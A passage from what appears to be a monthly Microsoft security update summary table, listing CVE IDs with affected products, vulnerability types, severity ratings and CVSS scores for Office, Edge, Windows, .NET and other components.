 CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution 